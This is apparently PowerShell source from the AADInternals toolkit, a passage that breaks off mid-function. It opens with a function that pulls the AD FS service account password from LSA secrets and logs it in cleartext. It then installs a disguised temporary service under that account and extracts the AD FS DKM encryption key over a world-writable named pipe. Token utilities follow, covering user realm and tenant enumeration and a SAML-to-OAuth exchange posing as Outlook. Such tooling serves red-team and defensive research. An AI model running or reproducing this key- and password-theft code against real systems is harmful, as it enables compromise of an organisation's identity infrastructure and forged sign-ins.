AD FS DKM key using Windows Service # Aug 23rd 2022 function Export-ADFSEncryptionKeyUsingService { [cmdletbinding()] Param( [Parameter(Mandatory=$false)] [String]$ServiceName="AADInternals", [Parameter(Mandatory=$false)] [String]$Description, [Parameter(Mandatory=$true)] [xml]$Configuration, [Parameter(Mandatory=$true)] [String]$ADFSUser ) Begin { } Process { # Path to service executable. File extension doesn't matter :) $servicePath="$PSScriptRoot\AADInternals.png" $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue if($service) { Write-Verbose "Service $ServiceName already running, restarting" Restart-Service -Name $ServiceName | Out-Null } else { try { # First, create a service "in a normal way" Write-Verbose "Creating service $ServiceName" if(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\adfssrv" -Name "ServiceAccountManaged" -ErrorAction SilentlyContinue) { # ADFSSRV is running using Group Managed Service Account Write-Verbose " Creating service to be run as Local System" $service = New-Service -Name $ServiceName -BinaryPathName $servicePath -Description $Description -ErrorAction Stop # Change the user to AD FS service account Write-Verbose " Changing user to $ADFSUser" Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName" -Name "ObjectName" -Value $ADFSUser # Set the account to service account managed - (not required) Write-Verbose " Setting ServiceAccoungManaged property" Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$ServiceName" -Name "ServiceAccountManaged" -Value ([System.BitConverter]::GetBytes([int32]1)) } else { # ADFSSRV is running using "legacy" service account so we need to get password from LSAS Write-Verbose "*** Getting password for $ADFSUser **" $adfsPassword = (Get-LSASecrets -Users "_SC_adfssrv").PasswordTxt Write-Verbose "*** Password fetched for $ADFSUser **`n" $credentials = [pscredential]::new($ADFSUser, ($adfsPassword | ConvertTo-SecureString -AsPlainText -Force)) Write-Verbose " Creating service to be run as $ADFSUser with password $adfsPassword" $service = New-Service -Name $ServiceName -BinaryPathName $servicePath -Description $Description -Credential $credentials -ErrorAction Stop } # Start the service Write-Verbose " Starting service $ServiceName" Start-Service -Name $ServiceName | Out-Null } catch { Write-Error $_ return } } # Create an output named piped client to connect to the service try { Write-Verbose " Creating outbound named pipe AADInternals-out" $pipeOut = [System.IO.Pipes.NamedPipeClientStream]::new(".","AADInternals-out") $pipeOut.Connect(5000) # Wait 5 seconds $sw = $null $sw = [System.IO.StreamWriter]::new($pipeOut) $sw.AutoFlush = $true # Send the configuration to the service Write-Verbose " Sending configuration to AADInternals-out" $sw.WriteLine($Configuration.OuterXml) } catch { Write-Error "Error send message to service: $_" return $null } finally { if ($sw) { $sw.Dispose() } } if ($pipeOut) { $pipeOut.Dispose() } # Create an input named piped client to receive the key from the service try { # Allow everyone to access the pipe $pse = [System.IO.Pipes.PipeSecurity]::new() $sid = [System.Security.Principal.SecurityIdentifier]::new([System.Security.Principal.WellKnownSidType]::WorldSid, $null) $par = [System.IO.Pipes.PipeAccessRule]::new($sid, [System.IO.Pipes.PipeAccessRights]::ReadWrite, [System.Security.AccessControl.AccessControlType]::Allow) $pse.AddAccessRule($par) Write-Verbose " Creating inbound named pipe AADInternals-in" $pipeIn = [System.IO.Pipes.NamedPipeServerStream]::new("AADInternals-in",[System.IO.Pipes.PipeDirection]::InOut,1,[System.IO.Pipes.PipeTransmissionMode]::Message, [System.IO.Pipes.PipeOptions]::None,4096,4096,$pse) $pipeIn.WaitForConnection() Write-Verbose " Reading response from AADInternals-in" $sr = [System.IO.StreamReader]::new($pipeIn) $message = $sr.Readline() } catch { Write-Error "Error receiving message from service: $_" return $null } finally { if ($sr) { $sr.Dispose() } if ($pipeIn) { $pipeIn.Dispose() } } Write-Debug " Message: $message" return $message } End { # Stop and delete the service Write-Verbose " Stopping service $ServiceName" Stop-Service $ServiceName -ErrorAction SilentlyContinue | Out-Null Write-Verbose " Deleting service $ServiceName" SC.exe DELETE $ServiceName | Out-Null } }
AccessToken_utils.ps1
AADInternals-0.9.4
# This script contains functions for handling access tokens # and some utility functions # VARIABLES # Unix epoch time (1.1.1970) $epoch = Get-Date -Day 1 -Month 1 -Year 1970 -Hour 0 -Minute 0 -Second 0 -Millisecond 0 # FOCI client ids # Ref: https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv $FOCIs = @{ "00b41c95-dab0-4487-9791-b9d2c32c80f2" = "Office 365 Management" "04b07795-8ddb-461a-bbee-02f9e1bf7b46" = "Microsoft Azure CLI" "1950a258-227b-4e31-a9cf-717495945fc2" = "Microsoft Azure PowerShell" "1fec8e78-bce4-4aaf-ab1b-5451cc387264" = "Microsoft Teams" "26a7ee05-5602-4d76-a7ba-eae8b7b67941" = "Windows Search" "27922004-5251-4030-b22d-91ecd9a37ea4" = "Outlook Mobile" "4813382a-8fa7-425e-ab75-3b753aab3abb" = "Microsoft Authenticator App" "ab9b8c07-8f02-4f72-87fa-80105867a763" = "OneDrive SyncEngine" "d3590ed6-52b3-4102-aeff-aad2292ab01c" = "Microsoft Office" "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" = "Visual Studio" "af124e86-4e96-495a-b70a-90f90ab96707" = "OneDrive iOS App" "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" = "Microsoft Bing Search for Microsoft Edge" "844cca35-0656-46ce-b636-13f48b0eecbd" = "Microsoft Stream Mobile Native" "87749df4-7ccf-48f8-aa87-704bad0e0e16" = "Microsoft Teams - Device Admin Agent" "cf36b471-5b44-428c-9ce7-313bf84528de" = "Microsoft Bing Search" "0ec893e0-5785-4de6-99da-4ed124e5296c" = "Office UWP PWA" "22098786-6e16-43cc-a27d-191a01a1e3b5" = "Microsoft To-Do client" "4e291c71-d680-4d0e-9640-0a3358e31177" = "PowerApps" "57336123-6e14-4acc-8dcf-287b6088aa28" = "Microsoft Whiteboard Client" "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" = "Microsoft Flow" "66375f6b-983f-4c2c-9701-d680650f588f" = "Microsoft Planner" "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" = "Microsoft Intune Company Portal" "a40d7d7d-59aa-447e-a655-679a4107e548" = "Accounts Control UI" "a569458c-7f2b-45cb-bab9-b7dee514d112" = "Yammer iPhone" "b26aadf8-566f-4478-926f-589f601d9c74" = "OneDrive" "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" = "Microsoft Power BI" "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" = "SharePoint" "e9c51622-460d-4d3d-952d-966a5b1da34c" = "Microsoft Edge" "eb539595-3fe1-474e-9c1d-feb3625d1be5" = "Microsoft Tunnel" "ecd6b820-32c2-49b6-98a6-444530e5a77a" = "Microsoft Edge" "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" = "SharePoint Android" "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" = "Microsoft Edge" "be1918be-3fe3-4be9-b32b-b542fc27f02e" = "M365 Compliance Drive Client" "cab96880-db5b-4e15-90a7-f3f1d62ffe39" = "Microsoft Defender Platform" "d7b530a4-7680-4c23-a8bf-c52c121d2e87" = "Microsoft Edge Enterprise New Tab Page" "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" = "Microsoft Defender for Mobile" "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" = "Outlook Lite" } # Resource ids $RESIDs = @{ "00000003-0000-0000-c000-000000000000" = "https://graph.windows.net" } # Stored tokens (access & refresh) $tokens=@{} $refresh_tokens=@{} ## UTILITY FUNCTIONS FOR API COMMUNICATIONS # Return user's login information function Get-LoginInformation { <# .SYNOPSIS Returns authentication information of the given user or domain .DESCRIPTION Returns authentication of the given user or domain .Example Get-AADIntLoginInformation -Domain outlook.com Tenant Banner Logo : Authentication Url : https://login.live.com/login.srf?username=nn%40outlook.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= Pref Credential : 6 Federation Protocol : WSTrust Throttle Status : 0 Cloud Instance : microsoftonline.com Federation Brand Name : MSA Realms Domain Name : live.com Federation Metadata Url : https://nexus.passport.com/FederationMetadata/2007-06/FederationMetadata.xml Tenant Banner Illustration : Consumer Domain : True State : 3 Federation Active Authentication Url : https://login.live.com/rst2.srf User State : 2 Account Type : Federated Tenant Locale : Domain Type : 2 Exists : 5 Has Password : True Cloud Instance audience urn : urn:federation:MicrosoftOnline Federation Global Version : -1 .Example Get-AADIntLoginInformation -UserName [email protected] Tenant Banner Logo : https://secure.aadcdn.microsoftonline-p.com/c1c6b6c8-okmfqodscgr7krbq5-p48zooi4b7m9g2zcpryoikta/logintenantbranding/0/bannerlogo?ts=635912486993671038 Authentication Url : Pref Credential : 1 Federation Protocol : Throttle Status : 1 Cloud Instance : microsoftonline.com Federation Brand Name : Company Ltd Domain Name : company.com Federation Metadata Url : Tenant Banner Illustration : Consumer Domain : State : 4 Federation Active Authentication Url : User State : 1 Account Type : Managed Tenant Locale : 0 Domain Type : 3 Exists : 0 Has Password : True Cloud Instance audience urn : urn:federation:MicrosoftOnline Desktop Sso Enabled : True Federation Global Version : #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='User',Mandatory=$True)] [String]$UserName ) Process { if([string]::IsNullOrEmpty($UserName)) { $isDomain = $true $UserName = "nn@$Domain" } $subScope = Get-TenantSubscope -Domain $UserName.Split("@")[1] # Gather login information using different APIs $realm1=Get-UserRealm -UserName $UserName -SubScope $subScope # common/userrealm API 1.0 $realm2=Get-UserRealmExtended -UserName $UserName -SubScope $subScope # common/userrealm API 2.0 $realm3=Get-UserRealmV2 -UserName $UserName -SubScope $subScope # GetUserRealm.srf (used in the old Office 365 login experience) $realm4=Get-CredentialType -UserName $UserName -SubScope $subScope # common/GetCredentialType (used in the "new" Office 365 login experience) # Create a return object $attributes = @{ "Account Type" = $realm1.account_type # Managed or federated "Domain Name" = $realm1.domain_name "Cloud Instance" = $realm1.cloud_instance_name "Cloud Instance audience urn" = $realm1.cloud_audience_urn "Federation Brand Name" = $realm2.FederationBrandName "Tenant Locale" = $realm2.TenantBrandingInfo.Locale "Tenant Banner Logo" = $realm2.TenantBrandingInfo.BannerLogo "Tenant Banner Illustration" = $realm2.TenantBrandingInfo.Illustration "State" = $realm3.State "User State" = $realm3.UserState "Exists" = $realm4.IfExistsResult "Throttle Status" = $realm4.ThrottleStatus "Pref Credential" = $realm4.Credentials.PrefCredential "Has Password" = $realm4.Credentials.HasPassword "Domain Type" = $realm4.EstsProperties.DomainType "Federation Protocol" = $realm1.federation_protocol "Federation Metadata Url" = $realm1.federation_metadata_url "Federation Active Authentication Url" = $realm1.federation_active_auth_url "Authentication Url" = $realm2.AuthUrl "Consumer Domain" = $realm2.ConsumerDomain "Federation Global Version" = $realm3.FederationGlobalVersion "Desktop Sso Enabled" = $realm4.EstsProperties.DesktopSsoEnabled } # Return return New-Object psobject -Property $attributes } } # Return user's authentication realm from common/userrealm using API 1.0 function Get-UserRealm { <# .SYNOPSIS Returns authentication realm of the given user .DESCRIPTION Returns authentication realm of the given user using common/userrealm API 1.0 .Example Get-AADIntUserRealm -UserName "[email protected]" ver : 1.0 account_type : Managed domain_name : company.com cloud_instance_name : microsoftonline.com cloud_audience_urn : urn:federation:MicrosoftOnline .Example Get-AADIntUserRealm -UserName "[email protected]" ver : 1.0 account_type : Federated domain_name : company.com federation_protocol : WSTrust federation_metadata_url : https://sts.company.com/adfs/services/trust/mex federation_active_auth_url : https://sts.company.com/adfs/services/trust/2005/usernamemixed cloud_instance_name : microsoftonline.com cloud_audience_urn : urn:federation:MicrosoftOnline #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [Microsoft.PowerShell.Commands.WebRequestSession]$webSession, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Call the API $userRealm=Invoke-RestMethod -UseBasicParsing -Uri ("$(Get-TenantLoginUrl -SubScope $SubScope)/common/userrealm/$UserName"+"?api-version=1.0") -WebSession $webSession -Headers @{"User-agent" = Get-UserAgent} # Verbose Write-Verbose "USER REALM $($userRealm | Out-String)" # Return $userRealm } } # Return user's authentication realm from common/userrealm using API 2.0 function Get-UserRealmExtended { <# .SYNOPSIS Returns authentication realm of the given user .DESCRIPTION Returns authentication realm of the given user using common/userrealm API 2.0 .Example Get-AADIntUserRealmExtended -UserName "[email protected]" NameSpaceType : Managed Login : [email protected] DomainName : company.com FederationBrandName : Company Ltd TenantBrandingInfo : {@{Locale=0; BannerLogo=https://secure.aadcdn.microsoftonline-p.com/xxx/logintenantbranding/0/bannerlogo? ts=111; TileLogo=https://secure.aadcdn.microsoftonline-p.com/xxx/logintenantbranding/0/til elogo?ts=112; BackgroundColor=#FFFFFF; BoilerPlateText=From here you can sign-in to Company Ltd services; [email protected]; KeepMeSignedInDisabled=False}} cloud_instance_name : microsoftonline.com .Example Get-AADIntUserRealmExtended -UserName "[email protected]" NameSpaceType : Federated federation_protocol : WSTrust Login : [email protected] AuthURL : https://sts.company.com/adfs/ls/?username=user%40company.com&wa=wsignin1. 0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= DomainName : company.com FederationBrandName : Company Ltd TenantBrandingInfo : cloud_instance_name : microsoftonline.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Call the API $userRealm=Invoke-RestMethod -UseBasicParsing -Uri ("$(Get-TenantLoginUrl -SubScope $SubScope)/common/userrealm/$UserName"+"?api-version=2.0") -Headers @{"User-agent" = Get-UserAgent} # Verbose Write-Verbose "USER REALM $($userRealm | Out-String)" # Return $userRealm } } # Return user's authentication realm from GetUserRealm.srf (used in the old Office 365 login experience) function Get-UserRealmV2 { <# .SYNOPSIS Returns authentication realm of the given user .DESCRIPTION Returns authentication realm of the given user using GetUserRealm.srf (used in the old Office 365 login experience) .Example Get-AADIntUserRealmV3 -UserName "[email protected]" State : 4 UserState : 1 Login : [email protected] NameSpaceType : Managed DomainName : company.com FederationBrandName : Company Ltd CloudInstanceName : microsoftonline.com .Example Get-AADIntUserRealmV2 -UserName "[email protected]" State : 3 UserState : 2 Login : [email protected] NameSpaceType : Federated DomainName : company.com FederationGlobalVersion : -1 AuthURL : https://sts.company.com/adfs/ls/?username=user%40company.com&wa=wsignin1. 0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= FederationBrandName : Company Ltd CloudInstanceName : microsoftonline.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Call the API $userRealm=Invoke-RestMethod -UseBasicParsing -Uri ("$(Get-TenantLoginUrl -SubScope $SubScope)/GetUserRealm.srf?login=$UserName") -Headers @{"User-agent" = Get-UserAgent} # Verbose Write-Verbose "USER REALM: $($userRealm | Out-String)" # Return $userRealm } } # Return user's authentication type information from common/GetCredentialType function Get-CredentialType { <# .SYNOPSIS Returns authentication information of the given user .DESCRIPTION Returns authentication of the given user using common/GetCredentialType (used in the "new" Office 365 login experience) .Example Get-AADIntUserRealmExtended -UserName "[email protected]" Username : [email protected] Display : [email protected] IfExistsResult : 0 ThrottleStatus : 1 Credentials : @{PrefCredential=1; HasPassword=True; RemoteNgcParams=; FidoParams=; SasParams=} EstsProperties : @{UserTenantBranding=System.Object[]; DomainType=3} FlowToken : apiCanary : AQABAAA..A NameSpaceType : Managed Login : [email protected] DomainName : company.com FederationBrandName : Company Ltd TenantBrandingInfo : {@{Locale=0; BannerLogo=https://secure.aadcdn.microsoftonline-p.com/xxx/logintenantbranding/0/bannerlogo? ts=111; TileLogo=https://secure.aadcdn.microsoftonline-p.com/xxx/logintenantbranding/0/til elogo?ts=112; BackgroundColor=#FFFFFF; BoilerPlateText=From here you can sign-in to Company Ltd services; [email protected]; KeepMeSignedInDisabled=False}} cloud_instance_name : microsoftonline.com .Example Get-AADIntUserRealmExtended -UserName "[email protected]" Username : [email protected] Display : [email protected] IfExistsResult : 0 ThrottleStatus : 1 Credentials : @{PrefCredential=4; HasPassword=True; RemoteNgcParams=; FidoParams=; SasParams=; FederationRed irectUrl=https://sts.company.com/adfs/ls/?username=user%40company.com&wa=wsignin1.0&wtreal m=urn%3afederation%3aMicrosoftOnline&wctx=} EstsProperties : @{UserTenantBranding=; DomainType=4} FlowToken : apiCanary : AQABAAA..A #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$UserName, [Parameter(Mandatory=$False)] [String]$FlowToken, [Parameter(Mandatory=$False)] [String]$OriginalRequest, [Parameter(Mandatory=$False)] [Microsoft.PowerShell.Commands.WebRequestSession]$webSession, [Parameter(Mandatory=$False)] [String]$SubScope ) Process { # Create a body for REST API request $body = @{ "username"=$UserName "isOtherIdpSupported" = $true "checkPhones" = $true "isRemoteNGCSupported" = $true "isCookieBannerShown" = $false "isFidoSupported" = $true "isAccessPassSupported" = $true "originalRequest" = $OriginalRequest "flowToken" = $FlowToken } # TAP support can only be requested if originalRequest is provided. Otherwise we'll get error code 6000. if(![string]::IsNullOrEmpty($OriginalRequest)) { $body["isAccessPassSupported"] = $true } # Call the API $userRealm=Invoke-RestMethod -UseBasicParsing -Uri ("$(Get-TenantLoginUrl -SubScope $SubScope)/common/GetCredentialType") -ContentType "application/json; charset=UTF-8" -Method POST -Body ($body|ConvertTo-Json) -WebSession $webSession -Headers @{"User-agent" = Get-UserAgent} # Verbose & Debug Write-Verbose "CREDENTIAL TYPE: Exist=$($userRealm.IfExistsResult), Federated=$(![string]::IsNullOrEmpty($userRealm.Credentials.FederationRedirectUrl))" Write-Debug "CREDENTIAL TYPE: $($userRealm | Out-String)" # Return $userRealm } } # Return OpenID configuration for the domain # Mar 21 2019 function Get-OpenIDConfiguration { <# .SYNOPSIS Returns OpenID configuration of the given domain or user .DESCRIPTION Returns OpenID configuration of the given domain or user .Example Get-AADIntOpenIDConfiguration -UserName "[email protected]" .Example Get-AADIntOpenIDConfiguration -Domain company.com authorization_endpoint : https://login.microsoftonline.com/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/oauth2/authorize token_endpoint : https://login.microsoftonline.com/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/oauth2/token token_endpoint_auth_methods_supported : {client_secret_post, private_key_jwt, client_secret_basic} jwks_uri : https://login.microsoftonline.com/common/discovery/keys response_modes_supported : {query, fragment, form_post} subject_types_supported : {pairwise} id_token_signing_alg_values_supported : {RS256} http_logout_supported : True frontchannel_logout_supported : True end_session_endpoint : https://login.microsoftonline.com/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/oauth2/logout response_types_supported : {code, id_token, code id_token, token id_token...} scopes_supported : {openid} issuer : https://sts.windows.net/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/ claims_supported : {sub, iss, cloud_instance_name, cloud_instance_host_name...} microsoft_multi_refresh_token : True check_session_iframe : https://login.microsoftonline.com/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/oauth2/checkses sion userinfo_endpoint : https://login.microsoftonline.com/5b62a25d-60c6-40e6-aace-8a43e8b8ba4a/openid/userinfo tenant_region_scope : EU cloud_instance_name : microsoftonline.com cloud_graph_host_name : graph.windows.net msgraph_host : graph.microsoft.com rbac_url : https://pas.windows.net #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='User',Mandatory=$True)] [String]$UserName ) Process { if([String]::IsNullOrEmpty($Domain)) { $Domain = $UserName.Split("@")[1] } # Call the API $openIdConfig=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/$domain/.well-known/openid-configuration" -Headers @{"User-agent" = Get-UserAgent} # Return $openIdConfig } } # Get the tenant ID for the given user/domain/accesstoken function Get-TenantID { <# .SYNOPSIS Returns TenantID of the given domain, user, or AccessToken .DESCRIPTION Returns TenantID of the given domain, user, or AccessToken .Example Get-AADIntTenantID -UserName "[email protected]" .Example Get-AADIntTenantID -Domain company.com .Example Get-AADIntTenantID -AccessToken $at #> [cmdletbinding()] Param( [Parameter(ParameterSetName='Domain',Mandatory=$True)] [String]$Domain, [Parameter(ParameterSetName='User',Mandatory=$True)] [String]$UserName, [Parameter(ParameterSetName='AccessToken', Mandatory=$True)] [String]$AccessToken ) Process { if([String]::IsNullOrEmpty($AccessToken)) { if([String]::IsNullOrEmpty($Domain)) { $Domain = $UserName.Split("@")[1] } Try { $TenantId = (Invoke-RestMethod -UseBasicParsing -Uri "https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=$domain" -Headers @{"User-agent" = Get-UserAgent}).TenantId } catch { return $null } } else { $TenantId=(Read-Accesstoken($AccessToken)).tid } # Return $TenantId } } # Check if the access token has expired function Is-AccessTokenExpired { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken ) Process { # Read the token $token = Read-Accesstoken($AccessToken) $now=(Get-Date).ToUniversalTime() # Get the expiration time $exp=$epoch.Date.AddSeconds($token.exp) # Compare and return $retVal = $now -ge $exp return $retVal } } # Check if the access token signature is valid # May 20th 2020 function Is-AccessTokenValid { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$AccessToken ) Process { # Token sections $sections = $AccessToken.Split(".") $header = $sections[0] $payload = $sections[1] $signature = $sections[2] $signatureValid = $false # Fill the header with padding for Base 64 decoding while ($header.Length % 4) { $header += "=" } # Convert the token to string and json $headerBytes=[System.Convert]::FromBase64String($header) $headerArray=[System.Text.Encoding]::ASCII.GetString($headerBytes) $headerObj=$headerArray | ConvertFrom-Json # Get the signing key $KeyId=$headerObj.kid Write-Debug "PARSED TOKEN HEADER: $($headerObj | Format-List | Out-String)" # The algorithm should be RSA with SHA-256, i.e. RS256 if($headerObj.alg -eq "RS256") { # Get the public certificate $publicCert = Get-APIKeys -KeyId $KeyId Write-Debug "TOKEN SIGNING CERT: $publicCert" $certBin=[convert]::FromBase64String($publicCert) # Construct the JWT data to be verified $dataToVerify="{0}.{1}" -f $header,$payload $dataBin = [text.encoding]::UTF8.GetBytes($dataToVerify) # Remove the Base64 URL encoding from the signature and add padding $signature=$signature.Replace("-","+").Replace("_","/") while ($signature.Length % 4) { $signature += "=" } $signBytes = [convert]::FromBase64String($signature) # Extract the modulus and exponent from the certificate for($a=0;$a -lt $certBin.Length ; $a++) { # Read the bytes $byte = $certBin[$a] $nByte = $certBin[$a+1] # We are only interested in 0x02 tag where our modulus is hidden.. if($byte -eq 0x02 -and $nByte -band 0x80) { $a++ if($nbyte -band 0x02) { $byteCount = [System.BitConverter]::ToInt16($certBin[$($a+2)..$($a+1)],0) $a+=3 } elseif($nbyte -band 0x01) { $byteCount = $certBin[$($a+1)] $a+=2 } # If the first byte is 0x00, skip it if($certBin[$a] -eq 0x00) { $a++ $byteCount-- } # Now we have the modulus! $modulus = $certBin[$a..$($a+$byteCount-1)] # Next byte value is the exponent $a+=$byteCount if($certBin[$a++] -eq 0x02) { $byteCount = $certBin[$a++] $exponent = $certBin[$a..$($a+$byteCount-1)] Write-Debug "MODULUS: $(Convert-ByteArrayToHex -Bytes $modulus)" Write-Debug "EXPONENT: $(Convert-ByteArrayToHex -Bytes $exponent)" break } else { Write-Debug "Error getting modulus and exponent" } } } if($exponent -and $modulus) { # Create the RSA and other required objects $rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider $rsaParameters = New-Object -TypeName System.Security.Cryptography.RSAParameters # Set the verification parameters $rsaParameters.Exponent = $exponent $rsaparameters.Modulus = $modulus $rsa.ImportParameters($rsaParameters) $signatureValid = $rsa.VerifyData($dataBin, $signBytes,[System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1) $rsa.Dispose() } } else { Write-Error "Access Token signature algorithm $($headerObj.alg) not supported!" } return $signatureValid } } # Gets OAuth information using SAML token function Get-OAuthInfoUsingSAML { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SAMLToken, [Parameter(Mandatory=$True)] [String]$Resource, [Parameter(Mandatory=$False)] [String]$ClientId="1b730954-1685-4b74-9bfd-dac224a7b894" ) Begin { # Create the headers. We like to be seen as Outlook. $headers = @{ "User-Agent" = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; Microsoft Outlook 16.0.4266)" } } Process { $encodedSamlToken= [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($SAMLToken)) # Debug Write-Debug "SAML TOKEN: $samlToken" Write-Debug "ENCODED SAML TOKEN: $encodedSamlToken" # Create a body for API request $body = @{ "resource"=$Resource "client_id"=$ClientId "grant_type"="urn:ietf:params:oauth:grant-type:saml1_1-bearer" "assertion"=$encodedSamlToken "scope"="openid" } # Debug Write-Debug "FED AUTHENTICATION BODY: $($body | Out-String)" # Set the content type and call the Microsoft Online authentication API $contentType="application/x-www-form-urlencoded" try { $jsonResponse=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $contentType -Method POST -Body $body -Headers $headers } catch { Throw ($_.ErrorDetails.Message | convertfrom-json).error_description } return $jsonResponse } } # Parse access token and return it as PS object function Read-Accesstoken { <# .SYNOPSIS Extract details from the given Access Token .DESCRIPTION Extract details from the given Access Token and returns them as PS Object .Parameter AccessToken The Access Token. .Example PS C:\>$token=Get-AADIntReadAccessTokenForAADGraph PS C:\>Parse-AADIntAccessToken -AccessToken $token aud : https://graph.windows.net iss : https://sts.windows.net/f2b2ba53-ed2a-4f4c-a4c3-85c61e548975/ iat : 1589477501 nbf : 1589477501 exp : 1589481401 acr : 1 aio : ASQA2/8PAAAALe232Yyx9l= amr : {pwd} appid : 1b730954-1685-4b74-9bfd-dac224a7b894 appidacr : 0 family_name : company given_name : admin ipaddr : 107.210.220.129 name : admin company oid : 1713a7bf-47ba-4826-a2a7-bbda9fabe948 puid : 100354 rh : 0QfALA. scp : user_impersonation sub : BGwHjKPU tenant_region_scope : NA tid : f2b2ba53-ed2a-4f4c-a4c3-85c61e548975 unique_name : [email protected] upn : [email protected] uti : -EWK6jMDrEiAesWsiAA ver : 1.0 .Example PS C:\>Parse-AADIntAccessToken -AccessToken $token -Validate Read-Accesstoken : Access Token is expired At line:1 char:1 + Read-Accesstoken -AccessToken $at -Validate -verbose + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Read-Accesstoken aud : https://graph.windows.net iss : https://sts.windows.net/f2b2ba53-ed2a-4f4c-a4c3-85c61e548975/ iat : 1589477501 nbf : 1589477501 exp : 1589481401 acr : 1 aio : ASQA2/8PAAAALe232Yyx9l= amr : {pwd} appid : 1b730954-1685-4b74-9bfd-dac224a7b894 appidacr : 0 family_name : company given_name : admin ipaddr : 107.210.220.129 name : admin company oid : 1713a7bf-47ba-4826-a2a7-bbda9fabe948 puid : 100354 rh : 0QfALA. scp : user_impersonation sub : BGwHjKPU tenant_region_scope : NA tid : f2b2ba53-ed2a-4f4c-a4c3-85c61e548975 unique_name : [email protected] upn : [email protected] uti : -EWK6jMDrEiAesWsiAA ver : 1.0 #> [cmdletbinding()] Param( [Parameter(Mandatory=$True,ValueFromPipeline)] [String]$AccessToken, [Parameter()] [Switch]$ShowDate, [Parameter()] [Switch]$Validate ) Process { # Token sections $sections = $AccessToken.Split(".") if($sections.Count -eq 5) { Write-Warning "JWE token, expected JWS. Unable to parse." return } $header = $sections[0] $payload = $sections[1] $signature = $sections[2] # Convert the token to string and json $payloadString = Convert-B64ToText -B64 $payload $payloadObj=$payloadString | ConvertFrom-Json if($ShowDate) { # Show dates $payloadObj.exp=($epoch.Date.AddSeconds($payloadObj.exp)).toString("yyyy-MM-ddTHH:mm:ssZ").Replace(".",":") $payloadObj.iat=($epoch.Date.AddSeconds($payloadObj.iat)).toString("yyyy-MM-ddTHH:mm:ssZ").Replace(".",":") $payloadObj.nbf=($epoch.Date.AddSeconds($payloadObj.nbf)).toString("yyyy-MM-ddTHH:mm:ssZ").Replace(".",":") } if($Validate) { # Check the signature if((Is-AccessTokenValid -AccessToken $AccessToken)) { Write-Verbose "Access Token signature successfully verified" } else { Write-Error "Access Token signature could not be verified" } # Check the timestamp if((Is-AccessTokenExpired -AccessToken $AccessToken)) { Write-Error "Access Token is expired" } else { Write-Verbose "Access Token is not expired" } } # Debug Write-Debug "PARSED ACCESS TOKEN: $($payloadObj | Out-String)" # Return $payloadObj } } # Prompts for credentials and gets the access token # Supports MFA. function Prompt-Credentials { [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$Resource, [Parameter(Mandatory=$False)] [String]$ClientId, [Parameter(Mandatory=$False)] [String]$Tenant, [Parameter(Mandatory=$False)] [bool]$ForceMFA=$false, [Parameter(Mandatory=$False)] [bool]$ForceNGCMFA=$false, [Parameter(Mandatory=$False)] [string]$RefreshTokenCredential, [Parameter(Mandatory=$False)] [System.Management.Automation.PSCredential]$Credentials, [Parameter(Mandatory=$False)] [string]$OTPSecretKey, [Parameter(Mandatory=$False)] [string]$TAP, [Parameter(Mandatory=$False)] [string]$RedirectURI ) Process { # Set AMR values as needed $amr = $null if($ForceMFA) { $amr = "mfa" } elseif($ForceNGCMFA) { $amr = "ngcmfa" } # If we have credentials, try first using ROPC flow $response = $null if($Credentials -and [string]::IsNullOrEmpty($amr) -and [string]::IsNullOrEmpty((Get-CredentialType -UserName $Credentials.UserName).Credentials.FederationRedirectUrl)) { Write-Verbose "Domain not federated, credentials provided, and no MFA enforced. Trying ROPC flow." # Create a body for REST API request $body = @{ "resource"=$Resource 